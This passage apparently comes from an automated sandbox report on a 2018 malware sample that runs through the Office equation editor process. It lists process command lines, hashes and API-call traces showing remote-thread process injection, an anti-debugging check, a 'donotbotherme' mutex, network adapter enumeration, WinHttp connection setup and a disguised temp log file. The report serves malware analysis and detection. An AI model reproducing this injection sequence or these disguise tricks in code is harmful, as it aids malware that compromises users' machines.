Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3488 Parent PID: 2876

General

Start time:	19:15:18
Start date:	24/01/2018
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Caches\NavShExt.dll,Setting
Imagebase:	0x77390000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 3496 Parent PID: 536

General

Start time:	19:15:18
Start date:	24/01/2018
Path:	C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x77390000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3544 Parent PID: 536

General

Start time:	19:15:18
Start date:	24/01/2018
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x77390000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: EQNEDT32.EXE PID: 3420 Parent PID: 536

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.9%
Total number of Nodes:	207
Total number of Limit Nodes:	13

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 617B223D, Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 375
librarythreadinjection

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 617B2252
CreateMutexA.KERNELBASE(00000000,00000001,donotbotherme), ref: 617B226C
GetLastError.KERNEL32 ref: 617B2274
CloseHandle.KERNEL32(00000000), ref: 617B2286
CloseHandle.KERNEL32(00000000), ref: 617B2292
memset.MSVCRT ref: 617B22AB
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000001), ref: 617B22BF

Part of subcall function 617B2870: _errno.MSVCRT ref: 617B2888
Part of subcall function 617B2870: _errno.MSVCRT ref: 617B28CF

memset.MSVCRT ref: 617B2380
MultiByteToWideChar.KERNEL32(00000000,00000000,?,0000000D,?,0000000D), ref: 617B2416
GetModuleHandleW.KERNEL32(?), ref: 617B2420
GetProcAddress.KERNEL32(?,?), ref: 617B248A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 617B24B1
memset.MSVCRT ref: 617B24CE
GetModuleFileNameA.KERNEL32(?,00000104), ref: 617B24E4
GetProcAddress.KERNEL32(?,?), ref: 617B255D
GetProcAddress.KERNEL32(?,?), ref: 617B25D5
VirtualAllocEx.KERNELBASE(?,00000000,?,00001000,00000004), ref: 617B25F5
WriteProcessMemory.KERNELBASE(?,00000000,?,?,?), ref: 617B2617
GetProcAddress.KERNEL32(?,?), ref: 617B2699
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000), ref: 617B26C3
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 617B26DA
GetExitCodeThread.KERNEL32(00000000,?), ref: 617B26E4
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 617B2707
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 617B2710
VirtualFreeEx.KERNEL32(?,?,?,00001000), ref: 617B2722
CloseHandle.KERNEL32(?), ref: 617B272E

Part of subcall function 617B2860: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 617B30EA
Part of subcall function 617B2860: UnhandledExceptionFilter.KERNEL32(617B4108), ref: 617B30F5
Part of subcall function 617B2860: GetCurrentProcess.KERNEL32(C0000409), ref: 617B3100
Part of subcall function 617B2860: TerminateProcess.KERNEL32(00000000), ref: 617B3107

Strings

donotbotherme, xrefs: 617B2262

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Non-executed Functions

Function 617B3362, Relevance: 7.5, APIs: 5, Instructions: 49
timethread

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 617B3399
GetCurrentProcessId.KERNEL32 ref: 617B33A5
GetCurrentThreadId.KERNEL32 ref: 617B33AD
GetTickCount.KERNEL32 ref: 617B33B5
QueryPerformanceCounter.KERNEL32(?), ref: 617B33C1

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B2860, Relevance: 6.0, APIs: 4, Instructions: 48

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 617B30EA
UnhandledExceptionFilter.KERNEL32(617B4108), ref: 617B30F5
GetCurrentProcess.KERNEL32(C0000409), ref: 617B3100
TerminateProcess.KERNEL32(00000000), ref: 617B3107

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B2C34, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 124
sleep

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 617B2C97
InterlockedCompareExchange.KERNEL32(617C312C,?,00000000), ref: 617B2CA1
_amsg_exit.MSVCRT ref: 617B2CBE
__initterm_e.LIBCMT ref: 617B2CD9
_initterm.MSVCRT ref: 617B2CF2
InterlockedExchange.KERNEL32(617C312C,00000000), ref: 617B2D08
Sleep.KERNEL32(000003E8), ref: 617B2D3F
InterlockedCompareExchange.KERNEL32(617C312C,00000001,00000000), ref: 617B2D4A
_amsg_exit.MSVCRT ref: 617B2D5C
free.MSVCRT(00000000), ref: 617B2D89
InterlockedExchange.KERNEL32(617C312C,00000000), ref: 617B2DAB

Strings

,1|a, xrefs: 617B2C87
,1|a, xrefs: 617B2C58

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B103A, Relevance: 13.6, APIs: 9, Instructions: 77

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 617B1044
??2@YAPAXI@Z.MSVCRT ref: 617B1093
memset.MSVCRT ref: 617B10A3
??3@YAXPAX@Z.MSVCRT ref: 617B10C7
??3@YAXPAX@Z.MSVCRT ref: 617B10D1

Part of subcall function 617B1910: ??2@YAPAXI@Z.MSVCRT ref: 617B1915
Part of subcall function 617B1910: ??2@YAPAXI@Z.MSVCRT ref: 617B1947

??2@YAPAXI@Z.MSVCRT ref: 617B112F
memcpy.MSVCRT ref: 617B1143
??3@YAXPAX@Z.MSVCRT ref: 617B1159
??3@YAXPAX@Z.MSVCRT ref: 617B1168

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B202C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 147
file

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 617B205D
MultiByteToWideChar.KERNEL32(00000000,00000000,00000064,000000FF,?,00000064), ref: 617B20B1
MultiByteToWideChar.KERNEL32(00000000,00000000,00000096,000000FF,?,0000005E), ref: 617B219E

Part of subcall function 617B1E97: GetModuleHandleA.KERNEL32(000000F6), ref: 617B1EF1
Part of subcall function 617B1E97: GetProcAddress.KERNEL32(00000000,000000F6), ref: 617B1F42

??3@YAXPAX@Z.MSVCRT ref: 617B21D3
UnmapViewOfFile.KERNEL32(?), ref: 617B220F
CloseHandle.KERNEL32(?), ref: 617B2219

Part of subcall function 617B2860: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 617B30EA
Part of subcall function 617B2860: UnhandledExceptionFilter.KERNEL32(617B4108), ref: 617B30F5
Part of subcall function 617B2860: GetCurrentProcess.KERNEL32(C0000409), ref: 617B3100
Part of subcall function 617B2860: TerminateProcess.KERNEL32(00000000), ref: 617B3107

Part of subcall function 617B1176: ??2@YAPAXI@Z.MSVCRT ref: 617B1195
Part of subcall function 617B1176: memset.MSVCRT ref: 617B11A5
Part of subcall function 617B1176: memcpy.MSVCRT ref: 617B11C1
Part of subcall function 617B1176: memcpy.MSVCRT ref: 617B11F2
Part of subcall function 617B1176: ??3@YAXPAX@Z.MSVCRT ref: 617B1207
Part of subcall function 617B1176: ??2@YAPAXI@Z.MSVCRT ref: 617B1224

Part of subcall function 617B1276: CreateFileMappingA.KERNEL32(000000FF,00000000,00000040,00000000,00000000,00000000), ref: 617B12AA
Part of subcall function 617B1276: MapViewOfFile.KERNEL32(00000000,00000022,00000000,00000000,00000000), ref: 617B12B9
Part of subcall function 617B1276: UnmapViewOfFile.KERNEL32(?), ref: 617B12DC
Part of subcall function 617B1276: CloseHandle.KERNEL32(?), ref: 617B12E5

Strings

Cm})2&!j[V&p*njS!EnYqWSBj|WHZFB?, xrefs: 617B21FA

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B1319, Relevance: 10.6, APIs: 7, Instructions: 114
library

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 617B136F
GetModuleHandleA.KERNEL32(?,?,00000000,00000000), ref: 617B13A0
GetLastError.KERNEL32(?,00000000,00000000), ref: 617B13AD
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,00000000,00000000), ref: 617B13BB
GetProcAddress.KERNEL32(?,00000000,?,00000000,00000000), ref: 617B13F1
GetProcAddress.KERNEL32(?,?,?,00000000,00000000), ref: 617B1411

Part of subcall function 617B2860: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 617B30EA
Part of subcall function 617B2860: UnhandledExceptionFilter.KERNEL32(617B4108), ref: 617B30F5
Part of subcall function 617B2860: GetCurrentProcess.KERNEL32(C0000409), ref: 617B3100
Part of subcall function 617B2860: TerminateProcess.KERNEL32(00000000), ref: 617B3107

GetLastError.KERNEL32(?,00000000,00000000), ref: 617B1461

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B1176, Relevance: 9.1, APIs: 6, Instructions: 94

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 617B1195
memset.MSVCRT ref: 617B11A5
memcpy.MSVCRT ref: 617B11C1
memcpy.MSVCRT ref: 617B11F2
??3@YAXPAX@Z.MSVCRT ref: 617B1207

Part of subcall function 617B2860: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 617B30EA
Part of subcall function 617B2860: UnhandledExceptionFilter.KERNEL32(617B4108), ref: 617B30F5
Part of subcall function 617B2860: GetCurrentProcess.KERNEL32(C0000409), ref: 617B3100
Part of subcall function 617B2860: TerminateProcess.KERNEL32(00000000), ref: 617B3107

??2@YAPAXI@Z.MSVCRT ref: 617B1224

Part of subcall function 617B103A: __EH_prolog3_GS.LIBCMT ref: 617B1044
Part of subcall function 617B103A: ??2@YAPAXI@Z.MSVCRT ref: 617B1093
Part of subcall function 617B103A: memset.MSVCRT ref: 617B10A3
Part of subcall function 617B103A: ??3@YAXPAX@Z.MSVCRT ref: 617B10C7
Part of subcall function 617B103A: ??3@YAXPAX@Z.MSVCRT ref: 617B10D1
Part of subcall function 617B103A: ??2@YAPAXI@Z.MSVCRT ref: 617B112F
Part of subcall function 617B103A: memcpy.MSVCRT ref: 617B1143
Part of subcall function 617B103A: ??3@YAXPAX@Z.MSVCRT ref: 617B1159
Part of subcall function 617B103A: ??3@YAXPAX@Z.MSVCRT ref: 617B1168

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Function 617B1276, Relevance: 6.1, APIs: 4, Instructions: 64
file

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(000000FF,00000000,00000040,00000000,00000000,00000000), ref: 617B12AA
MapViewOfFile.KERNEL32(00000000,00000022,00000000,00000000,00000000), ref: 617B12B9

Part of subcall function 617B14E9: memmove.MSVCRT ref: 617B1509
Part of subcall function 617B14E9: memmove.MSVCRT ref: 617B153F

Part of subcall function 617B1319: memset.MSVCRT ref: 617B136F
Part of subcall function 617B1319: GetModuleHandleA.KERNEL32(?,?,00000000,00000000), ref: 617B13A0
Part of subcall function 617B1319: GetLastError.KERNEL32(?,00000000,00000000), ref: 617B13AD
Part of subcall function 617B1319: LoadLibraryExA.KERNEL32(?,00000000,00000008,?,00000000,00000000), ref: 617B13BB
Part of subcall function 617B1319: GetProcAddress.KERNEL32(?,00000000,?,00000000,00000000), ref: 617B13F1
Part of subcall function 617B1319: GetProcAddress.KERNEL32(?,?,?,00000000,00000000), ref: 617B1411
Part of subcall function 617B1319: GetLastError.KERNEL32(?,00000000,00000000), ref: 617B1461

UnmapViewOfFile.KERNEL32(?), ref: 617B12DC
CloseHandle.KERNEL32(?), ref: 617B12E5

Memory Dump Source

Source File: 00000002.00000002.479478668.617B1000.00000020.sdmp, Offset: 617B0000, based on PE: true

Associated: 00000002.00000002.479470190.617B0000.00000002.sdmp
Associated: 00000002.00000002.479489530.617B4000.00000002.sdmp
Associated: 00000002.00000002.479502718.617B5000.00000004.sdmp
Associated: 00000002.00000002.479514676.617B6000.00000008.sdmp
Associated: 00000002.00000002.479527170.617C2000.00000004.sdmp
Associated: 00000002.00000002.479536546.617C4000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_617b0000_EQNEDT32.jbxd

Analysis Process: iexplore.exe PID: 3444 Parent PID: 3420

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.3%
Total number of Nodes:	491
Total number of Limit Nodes:	5

Executed Functions

Function 00517535, Relevance: 112.1, APIs: 1, Strings: 63, Instructions: 97

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051668C: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00020019,00000000,?,005169F7,00000080,00000000,?,?,005169F7,?,?), ref: 005166CF
Part of subcall function 0051668C: RegCloseKey.ADVAPI32(00000000,?,?,005169F7,?,?,?,00000000,00020019), ref: 005166DA

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

GetSystemInfo.KERNELBASE(00000000,80000002,?,?,00000000,00020019,00000340), ref: 00517672

Part of subcall function 00516653: free.MSVCRT(00000000,00513A3A), ref: 0051665E

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

\, xrefs: 005175AE
n, xrefs: 00517656
l, xrefs: 005175E6
t, xrefs: 005175DA
s, xrefs: 00517602
r, xrefs: 005175EE
e, xrefs: 005175C2
P, xrefs: 005175EA
a, xrefs: 005175E2
S, xrefs: 0051758A
n, xrefs: 005175D6
R, xrefs: 00517566
e, xrefs: 00517622
i, xrefs: 00517652
r, xrefs: 00517632
m, xrefs: 0051763E
o, xrefs: 00517606
c, xrefs: 005175F6
R, xrefs: 00517576
s, xrefs: 005175BA
R, xrefs: 00517592
I, xrefs: 005175A2
E, xrefs: 00517586
D, xrefs: 0051756A
s, xrefs: 0051762A
t, xrefs: 0051764A
C, xrefs: 0051758E
S, xrefs: 00517646
N, xrefs: 005175AA
o, xrefs: 0051762E
T, xrefs: 0051759E
r, xrefs: 00517616
g, xrefs: 0051765A
I, xrefs: 00517596
c, xrefs: 0051761E
r, xrefs: 0051764E
P, xrefs: 00517612
r, xrefs: 005175DE
N, xrefs: 00517636
\, xrefs: 005175CA
a, xrefs: 0051763A
s, xrefs: 00517626
P, xrefs: 0051759A
s, xrefs: 005175FE
S, xrefs: 005175B2
H, xrefs: 0051755E
r, xrefs: 0051760A
W, xrefs: 0051756E
e, xrefs: 00517642
y, xrefs: 005175B6
m, xrefs: 005175C6
o, xrefs: 005175F2
C, xrefs: 005175CE
t, xrefs: 005175BE
A, xrefs: 00517562
o, xrefs: 0051761A
A, xrefs: 00517572
e, xrefs: 005175FA
\, xrefs: 0051757E
O, xrefs: 005175A6
D, xrefs: 00517582
e, xrefs: 005175D2
E, xrefs: 0051757A

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005177AB, Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT ref: 005177C2
GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 005177D3
??3@YAXPAX@Z.MSVCRT ref: 005177E0
??2@YAPAXI@Z.MSVCRT ref: 005177E8
GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 005177F7
??3@YAXPAX@Z.MSVCRT ref: 00517809

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

___swprintf_l.LIBCMT ref: 00517830
realloc.MSVCRT ref: 00517875
___swprintf_l.LIBCMT ref: 005178C8
___swprintf_l.LIBCMT ref: 005178FB
realloc.MSVCRT ref: 00517949
___swprintf_l.LIBCMT ref: 00517980
realloc.MSVCRT ref: 005179A8
___swprintf_l.LIBCMT ref: 005179D6
??3@YAXPAX@Z.MSVCRT ref: 00517A07

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Ethernet adapter Local Area Connection:, xrefs: 00517822
Name. . . . . . . . . . . . . . . : , xrefs: 005178E9
Subnet Mask . . . . . . . . . . . : , xrefs: 00517965
Physical Address. . . . . . . . . : , xrefs: 005178D1
Default Gateway . . . . . . . . . : , xrefs: 005179C4
%s%s, xrefs: 005179CD
%s%s%s%s%s%s, xrefs: 005178F2
%02X-%02X-%02X-%02X-%02X-%02X, xrefs: 005178BD
IPv4 Address. . . . . . . . . . . : , xrefs: 0051796E
Description . . . . . . . . . . . : , xrefs: 005178DD
%s%s%s%s, xrefs: 00517977

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00513ABC, Relevance: 21.4, APIs: 6, Strings: 8, Instructions: 444
string

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

strstr.MSVCRT ref: 00513B2D
strstr.MSVCRT ref: 00513B5C

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

strstr.MSVCRT ref: 00513BAC
strstr.MSVCRT ref: 00513BCC
memset.MSVCRT ref: 00513BEE
memset.MSVCRT ref: 00513C05

Part of subcall function 00511B92: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000001,?,00513CC2,00000000,00000000,?), ref: 00511BA8

Part of subcall function 00512004: WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTPS,?,?,?,00513D67,00000000,?,00000000,00000001,00000001), ref: 00512062

Part of subcall function 00512107: WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTPS,?,?,?,00513DA1,00000000,?,00000000,?,00000000), ref: 0051215A

Part of subcall function 00511B49: WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?,00513E74,00000000,00000000,?), ref: 00511B60
Part of subcall function 00511B49: GetLastError.KERNEL32 ref: 00511B6C

Part of subcall function 00511BD3: WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?,00000000), ref: 00511C12
Part of subcall function 00511BD3: memset.MSVCRT ref: 00511C38
Part of subcall function 00511BD3: memset.MSVCRT ref: 00511C56
Part of subcall function 00511BD3: memset.MSVCRT ref: 00511C90
Part of subcall function 00511BD3: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000020,?,00000020,?,?,?), ref: 00511CA3
Part of subcall function 00511BD3: WinHttpGetProxyForUrl.WINHTTP(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00511D33
Part of subcall function 00511BD3: WinHttpSetOption.WINHTTP(?,00000026,00000003,0000000C,?,?,?,?,?,?,?,?,?), ref: 00511D57
Part of subcall function 00511BD3: GlobalFree.KERNEL32(?), ref: 00511D71
Part of subcall function 00511BD3: GlobalFree.KERNEL32(?), ref: 00511D81

Part of subcall function 00511DA2: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00511DDE
Part of subcall function 00511DA2: WinHttpGetIEProxyConfigForCurrentUser.WINHTTP(?), ref: 00511E18
Part of subcall function 00511DA2: memset.MSVCRT ref: 00511E87
Part of subcall function 00511DA2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000020,?,00000020), ref: 00511E9C
Part of subcall function 00511DA2: WinHttpGetProxyForUrl.WINHTTP(?,?,00000002,?), ref: 00511EB3
Part of subcall function 00511DA2: WinHttpSetOption.WINHTTP(?,00000026,00000003,0000000C), ref: 00511ED4
Part of subcall function 00511DA2: WinHttpCloseHandle.WINHTTP(?), ref: 00511EE8
Part of subcall function 00511DA2: ___swprintf_l.LIBCMT ref: 00511F39
Part of subcall function 00511DA2: GlobalFree.KERNEL32(?), ref: 00511F93
Part of subcall function 00511DA2: GlobalFree.KERNEL32(?), ref: 00511FA1
Part of subcall function 00511DA2: WinHttpOpen.WINHTTP(00000000,00000003,?,?,00000000), ref: 00511FAF
Part of subcall function 00511DA2: WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000), ref: 00511FE0
Part of subcall function 00511DA2: GetLastError.KERNEL32 ref: 00511FEC

Part of subcall function 0051207E: WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,00000000,?,00513F1F,00000000,?), ref: 005120EC

Part of subcall function 00512176: WinHttpOpen.WINHTTP(00000000,00000003,?,00000000,00000000,?,HTTP,?,?,?,00513F99,00000000,?,00000000,?,00000000), ref: 005121C9

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051341B
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513425
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051342F
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513439
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513442

Part of subcall function 005141F0: GetLastError.KERNEL32(?,00000000,000003E9,?,?,?,?,?,00000000), ref: 0051429E
Part of subcall function 005141F0: ??2@YAPAXI@Z.MSVCRT ref: 005142DC
Part of subcall function 005141F0: ??3@YAXPAX@Z.MSVCRT ref: 0051443D
Part of subcall function 005141F0: ??3@YAXPAX@Z.MSVCRT ref: 0051444B

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
